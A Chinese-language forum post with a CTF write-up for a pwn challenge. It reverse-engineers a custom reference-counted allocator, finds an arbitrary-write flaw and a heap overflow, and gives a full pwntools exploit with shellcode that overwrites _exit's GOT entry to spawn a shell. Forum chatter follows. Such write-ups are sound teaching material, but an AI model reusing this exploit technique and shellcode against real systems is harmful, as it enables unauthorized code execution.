首页
论坛
课程
招聘
[原创]看雪10月ctf2017 TSRC 第七题——9A82 pwn
2017-11-7 11:18 3789

[原创]看雪10月ctf2017 TSRC 第七题——9A82 pwn

2017-11-7 11:18
3789

前言

这题真难啊,折腾我好久,我都把整个游戏逆出来了,结果最后发现根本不用全部逆出来,哈哈。。不过没事,当作练习逆向了。。哈哈。。。

本题考点

这道题我是没找到什么经典的缓冲区溢出啊格式化字符串啊double free啊UAF啊之类的洞。。。感觉我用的方法挺奇葩的。。。嗯。。。不知道跟大家用的方法一不一样。。。好了不废话了开始分析。。。

逆向部分

大概呢,就是作者自己mmap了一片内存,然后自己设计了一个chunk结构,然后申请内存空间都从这片mmap出来的内存申请。这个chunk结构的header有16字节,第二个一看就知道是chunk_size不说,关键是第一个,我一开始硬是没看出来这个QWORD是啥。。。

_QWORD *__fastcall malloc_adjust(signed int a1)
{
  signed int v2; // [sp+Ch] [bp-4h]@3

  if ( a1 >= 0 && a1 > 16 )                     // >16
  {
    if ( a1 <= 16 || a1 > 48 )                  // >48
    {
      if ( a1 <= 48 || a1 > 80 )                // >80
        v2 = 400;                               // 80<x
      else
        v2 = 80;                                // 48<x<=80
    }
    else
    {
      v2 = 48;                                  // 16<size<=48
    }
  }
  else
  {
    v2 = 16;                                    // x<=16
  }
  return malloc_(v2);
}//这个malloc_adjust会根据输入调整一下实际分配的大小,就当他是对齐用的吧。。。

然后我们来看看game_start函数的部分代码(输入2 signup时)

if ( v3 == 2 )
{
    puts("welcome to Playerunknown's Battlegrounds");
    puts("First,you need set your username and password");
    v1 = malloc_adjust(48);
    dreflhs_rhs_withGC((_QWORD **)&sign_infor, v1);// collapse
    puts("input your username");
    getstr(sign_infor->username, 0x10LL);
    puts("input your password");
    getstr(sign_infor->password, 0x10LL);
    puts("Second,you need create a character and give him a name");
    v2 = malloc_adjust(56);
    dreflhs_rhs_withGC((_QWORD **)&sign_infor->status, v2);
    sign_infor->status->health = 100LL;
    sign_infor->status->capacity = 100LL;
    sign_infor->status->stamina = 100LL;
    puts("input your character's name");
    getstr(sign_infor->status->name, 0x10LL);
    puts("all is ok");
}

v1 malloc 之后,会调用一个叫做dreflhs_rhs_withGC的函数,这个函数我前面一直没看懂,硬是盯了好久,才发现这其实是 带GC的 *参数1=参数2 的这么一个操作,所以chunk的第一个QWORD是一个类似引用计数的东西,我们跟进这个函数看看

// *lhs=rhs
_QWORD *__fastcall dreflhs_rhs_withGC(_QWORD **pointer, void *mem_frommymalloc)
{
  _QWORD *chunk_mem; // rax@2
  _QWORD *chunk; // rax@4
  _QWORD *result; // rax@5

  if ( mem_frommymalloc )
  {
    chunk_mem = minus_16(mem_frommymalloc);
    incre_ref(chunk_mem);
  }
  if ( *pointer )
  {
    chunk = minus_16(*pointer);
    reduce_ref(chunk);                          // collapse
  }
  result = pointer;
  *pointer = mem_frommymalloc;
  return result;
}
__int64 __fastcall is_deref_a_inrange(_QWORD *a1)
{
  return *a1 <= 0x7FFFFFFFEFFFLL && *a1 > 0x400000LL;
}
_DWORD *__fastcall ret_addr_of_first_addr(_QWORD *chunk, signed __int64 *pi)
{
  signed __int64 i; // [sp+18h] [bp-18h]@3
  signed __int64 size; // [sp+20h] [bp-10h]@3
  _QWORD *mem; // [sp+28h] [bp-8h]@3

  if ( !chunk )
    exit(0);
  mem = chunk + 2;
  size = (chunk[1] - 16LL) / 8;
  for ( i = *pi; i < size; ++i )
  {
    *pi = i;
    if ( (unsigned __int8)is_deref_a_inrange(&mem[i]) )
      return &mem[i];
  }
  return 0LL;
}

// also, reflect mem to chunk[2](data part)
_QWORD *__fastcall rec_chunk(_QWORD *chunk)
{
  _QWORD *result; // rax@3

  if ( !mem )
    mem = malloc_adjust(4);
  chunk[2] = mem;//任意chunk[2]可以被我们控制,会被赋值为mem的值,QWORD SHOOT here!!!
  *mem = chunk;                        // 可能overflow,但我没用这个
  result = mem + 1;
  ++mem;
  return result;
}
__int64 __fastcall reduce_ref(_QWORD *chunk)
{
  _QWORD *chunk_1; // rax@3
  __int64 i; // [sp+10h] [bp-20h]@1
  _QWORD *chunk_; // [sp+18h] [bp-18h]@1
  _QWORD **p_elem; // [sp+20h] [bp-10h]@2
  __int64 v6; // [sp+28h] [bp-8h]@1

  v6 = *MK_FP(__FS__, 40LL);
  i = 0LL;
  chunk_ = chunk;
  --*chunk;
  if ( !*chunk_ )                               // 如果引用计数变成0
  {
    while ( 1 )
    {
      p_elem = (_QWORD **)ret_addr_of_first_addr(chunk, &i);
      if ( p_elem == 0LL )                      // 如果在chunk中已经没有有效地址了
        break;
      ++i;                                      // 增加i并且做下次循环
      chunk_1 = minus_16(*p_elem);              // 如果 *pmem 是有效地址(在指定范围中),但不一定是在mmap的堆中, 也会把它当作mmap中的chunk,进行rec_chunk的调用
      rec_chunk(chunk_1);                       // 它被当成了chunk,但不一定是mmap中的chunk(0x41414141-16)
    }
    rec_chunk(chunk_);
  }
  return *MK_FP(__FS__, 40LL) ^ v6;
}

这个代码讲起来有些复杂,总之大概就是*a1=a2,并且增加a2的计数,减少a1的计数,如果a1的计数变成0了,就以QWORD为单位遍历缓冲区里面的数,如果碰到在规定范围内的(*a1 <= 0x7FFFFFFFEFFFLL && *a1 > 0x400000LL),就对其进行处理,如rec_chunk函数所示。然而在这个范围内不一定是mmap中的地址,所以导致一个QWORD SHOOT,但是写入的数据只能是mem的值。
喔,还有就是我逆出来的结构体,供大家参考

00000000 sign_info       struc ; (sizeof=0x30, mappedto_1)
00000000 unknown         dq ?
00000008 username        db 16 dup(?)
00000018 password        db 16 dup(?)
00000028 status          dq ?                    ; offset
00000030 sign_info       ends
00000030
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 char_status     struc ; (sizeof=0x38, mappedto_4)
00000000 name            db 8 dup(?)
00000008 unknown         dq ?
00000010 health          dq ?
00000018 stamina         dq ?
00000020 capacity        dq ?
00000028 location_       dq ?
00000030 item_ll         dq ?                    ; offset
00000038 char_status     ends
00000038
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 item            struc ; (sizeof=0x28, mappedto_5)
00000000 item_type       dq ?
00000008 weight          dq ?
00000010 num             dq ?
00000018 next            dq ?                    ; offset
00000020 some_num        dq ?
00000028 item            ends
00000028

漏洞触发

所以什么时候会触发呢?就是sign第二次的时候,具体逻辑不说了。总之,如果前一个username转换成QWORD值时在范围内(*a1 <= 0x7FFFFFFFEFFFLL && *a1 > 0x400000LL)时,第二次sign就会导致[username]=mem。。。

漏洞利用

所以怎么利用呢?好的,[任意地址]=mem,而且mem还会自增,还会有其他有效地址被存入mem!(所以有可能破坏mem中的shellcode) 这咋一看没什么用啊!我这种菜鸟,就卡在这想了好久!
最后根据我的不断实验,得出exploit方法:

  1. sign第一次 cheat_buf = mem
  2. sign第二次 _exit GOT表 = mem, 这时前一个QWORD SHOOT执行
  3. sign第三次 username 为1,这时前一个QWORD SHOOT执行,GOT表被修改
  4. (PS:上面三个sign password和character's name都是1)
  5. 执行cheat,修改cheat里面的内存,其实这就是mem里面的内存!放置payload
  6. 调用_exit,getshell!

注:

  1. _exit是我不断推敲得出来的,覆盖其他(getchar puts)的话,根本到不了放payload的cheat那里,因为这两个函数调用太频繁
  2. 然后很尴尬的是,程序没有_exit的调用(主函数),所以找_exit的xref,发现唯一可能让他调用的是这里。。。

    int show_location()
    {
    int result; // eax@2
    
    switch ( sign_infor->status->location_ )
    {
     case 0LL:
       result = puts("Your in a random location");
       break;
     case 1LL:
       result = puts("Your in the Sosnovka military base");
       break;
     case 2LL:
       result = puts("Your in the Sosnovka military base");
       break;
     case 3LL:
       result = puts("Your in the Georgopol");
       break;
     case 4LL:
       result = puts("Your in the Novorepnoye");
       break;
     case 5LL:
       result = puts("Your in the Mylta Power");
       break;
     case 6LL:
       result = puts("Your in the Primorsk");
       break;
     default:
       puts("location error");
       exit(0);
       return result;
    }
    return result;
    }
    

    所以找个方法,把sign_infor->status->location_给污染了,就ok,实际上,如果动态跟一下的话,发现这个status就在cheat_buf的后面,而cheat有明显的溢出漏洞

    void cheat()
    {
    if ( cheat_buf )
    {
     puts("content:");
     getstr((char *)(cheat_buf + 16), 300LL);//overflow!!
    }
    else
    {
     cheat_buf = (__int64)malloc_adjust(48);
     puts("name:");
     getstr((char *)cheat_buf, 16LL);
     puts("content:");
     getstr((char *)(cheat_buf + 16), 32LL);
    }
    }
    

    300,够影响到status了,事实上,如果动态跟的话,我们会发现status的地址就在cheat_buf+0x98处(如果按照我都步骤做的话)。。。
    然后就是构造payload了。。。

    paddings = 0x98
    shellcode = "\x48\x8b\x1c\x25\x70\x50\x60\x00\x48\x81\xeb\xa0\xed\x03\x00\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x48\x89\xe7\xff\xd3\x90\x90\x90"
    payload = 'A'*8 + shellcode + 'A' * (paddings - 8 - len(shellcode)) + p64(0x605098)
    

    前面8个'A'是因为_exit的实际会跳转到cheat_buf+8处执行,动态跟一下就知道了,然后说说最后的那个0x605098,反正只要满载p->location不在范围内就好,我随便找的一个.data的地址,这个好像是mmap_initial?不记得了,哪个都一样。。。
    shellcode基本上就是获取malloc函数地址,计算system地址,push (QWORD)"/bin/sh\x00"(刚好是8字节,哈哈),mov rdi,rsp, call system (伪代码,伪代码,请勿当真)
    所以最后exp

from pwn import *
g_local = False
if g_local:
    sh=process("./pwn")
else:
    sh=remote("123.206.22.95",8888)

#pre: in the initial begin status
#post: same as above
def signup(szUsername, szPassword, szCharname):
    global sh
    sh.send("2\n")
    sh.recvuntil("input your username\n")
    sh.send(szUsername + '\n')
    sh.recvuntil("input your password\n")
    sh.send(szPassword + '\n')
    sh.recvuntil("input your character's name\n")
    sh.send(szCharname + '\n')
    sh.recvuntil("2.Signup\n==============================\n")

#pre: in the initial begin status, usernamepasword correct
#post: game begin status
def login(szUsername, szPassword):
    global sh
    sh.send("1\n")
    sh.recvuntil("Input your username:\n")
    sh.send(szUsername + '\n')
    sh.recvuntil("Input your password:\n")
    sh.send(szPassword + '\n')
    sh.recvuntil("0.exit\n")

#pre: game begin status
#post: wo shuo shell ni xin bu?
def cheat_set_payload(szPayload):
    global sh
    sh.send("5\n")
    sh.recvuntil("content:\n")
    sh.send(szPayload)
    sh.interactive()

signup("\xf0\x50\x60", "1", "1")
signup("\x80\x50\x60", "1", "1")
signup("1", "1", "1")
login("1","1")

paddings = 0x98
shellcode = "\x48\x8b\x1c\x25\x70\x50\x60\x00\x48\x81\xeb\xa0\xed\x03\x00\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x48\x89\xe7\xff\xd3\x90\x90\x90"
payload = 'A'*8 + shellcode + 'A' * (paddings - 8 - len(shellcode)) + p64(0x605098)

cheat_set_payload(payload)

看雪学院推出的专业资质证书《看雪安卓应用安全能力认证 v1.0》(中级和高级)!

收藏
点赞0
打赏
分享
最新回复 (22)
雪    币: 2367
活跃值: 活跃值 (52)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
petersonhz 活跃值 2018-3-27 05:30
2
0
整个逆出来,楼主花了多久?
雪    币: 5638
活跃值: 活跃值 (460)
能力值: ( LV17,RANK:1185 )
在线值:
发帖
回帖
粉丝
holing 活跃值 15 2018-3-27 06:13
3
0
petersonhz 整个逆出来,楼主花了多久?
逆出来几个小时吧,想如何利用想了比较久
雪    币: 2367
活跃值: 活跃值 (52)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
petersonhz 活跃值 2018-3-27 13:52
4
0
holing 逆出来几个小时吧,想如何利用想了比较久
能逆东西,是否可以去病毒公司了呢
雪    币: 5638
活跃值: 活跃值 (460)
能力值: ( LV17,RANK:1185 )
在线值:
发帖
回帖
粉丝
holing 活跃值 15 2018-3-29 18:16
5
0
petersonhz 能逆东西,是否可以去病毒公司了呢[em_1]
还需要一些windows的知识吧
雪    币: 2367
活跃值: 活跃值 (52)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
petersonhz 活跃值 2018-3-29 21:36
6
0
holing 还需要一些windows的知识吧
病毒公司招人是不是很少
雪    币: 5638
活跃值: 活跃值 (460)
能力值: ( LV17,RANK:1185 )
在线值:
发帖
回帖
粉丝
holing 活跃值 15 2018-3-30 01:48
7
0
petersonhz 病毒公司招人是不是很少[em_15]
我不知道。。。现在还没有工作。。。
雪    币: 2367
活跃值: 活跃值 (52)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
petersonhz 活跃值 2018-5-28 00:37
8
0
holing 我不知道。。。现在还没有工作。。。
你现在整天捣鼓病毒么
雪    币: 5638
活跃值: 活跃值 (460)
能力值: ( LV17,RANK:1185 )
在线值:
发帖
回帖
粉丝
holing 活跃值 15 2018-5-28 00:40
9
0
petersonhz 你现在整天捣鼓病毒么[em_1]
没有。。。
雪    币: 2367
活跃值: 活跃值 (52)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
petersonhz 活跃值 2018-5-28 00:43
10
0
holing 没有。。。
你给自己破过几个软件呢
雪    币: 5638
活跃值: 活跃值 (460)
能力值: ( LV17,RANK:1185 )
在线值:
发帖
回帖
粉丝
holing 活跃值 15 2018-5-28 00:47
11
0
petersonhz 你给自己破过几个软件呢[em_1]
你为啥总是喜欢问这些奇怪的问题。。。
雪    币: 2367
活跃值: 活跃值 (52)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
petersonhz 活跃值 2018-5-28 00:49
12
0
holing 你为啥总是喜欢问这些奇怪的问题。。。
逆向不是可以拿来破软件么
雪    币: 5638
活跃值: 活跃值 (460)
能力值: ( LV17,RANK:1185 )
在线值:
发帖
回帖
粉丝
holing 活跃值 15 2018-5-28 00:50
13
0
petersonhz 逆向不是可以拿来破软件么[em_20]
可是,我破过几个软件,跟你有什么关系呢。。。
雪    币: 2367
活跃值: 活跃值 (52)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
petersonhz 活跃值 2018-5-28 00:53
14
0
holing 可是,我破过几个软件,跟你有什么关系呢。。。
不会把破了的软件借我用用么
雪    币: 5638
活跃值: 活跃值 (460)
能力值: ( LV17,RANK:1185 )
在线值:
发帖
回帖
粉丝
holing 活跃值 15 2018-5-28 00:54
15
0
petersonhz 不会把破了的软件借我用用么[em_15]
你这个吾爱破解一堆啊,比我破的好的多了去了。。。
雪    币: 2367
活跃值: 活跃值 (52)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
petersonhz 活跃值 2018-5-28 00:58
16
0
holing 你这个吾爱破解一堆啊,比我破的好的多了去了。。。
你会外挂么
雪    币: 5638
活跃值: 活跃值 (460)
能力值: ( LV17,RANK:1185 )
在线值:
发帖
回帖
粉丝
holing 活跃值 15 2018-5-28 01:06
17
0
petersonhz 你会外挂么[em_15]
不会
雪    币: 2367
活跃值: 活跃值 (52)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
petersonhz 活跃值 2018-5-28 08:43
18
0
holing 不会
安卓逆向搞不:)
雪    币: 5638
活跃值: 活跃值 (460)
能力值: ( LV17,RANK:1185 )
在线值:
发帖
回帖
粉丝
holing 活跃值 15 2018-5-28 23:26
19
0
petersonhz 安卓逆向搞不:)
不会,不搞
雪    币: 2367
活跃值: 活跃值 (52)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
petersonhz 活跃值 2018-5-29 01:20
20
0
holing 不会,不搞
开发搞么?
雪    币: 5638
活跃值: 活跃值 (460)
能力值: ( LV17,RANK:1185 )
在线值:
发帖
回帖
粉丝
holing 活跃值 15 2018-5-29 06:16
21
0
不会,不搞
雪    币: 10942
活跃值: 活跃值 (54)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
junkboy 活跃值 2018-6-11 23:06
22
0
holing 不会,不搞
大佬脾气是真的好..........
雪    币: 1435
活跃值: 活跃值 (186)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
陈jack 活跃值 2018-7-22 23:31
23
0
赞!写的好
游客
登录 | 注册 方可回帖
返回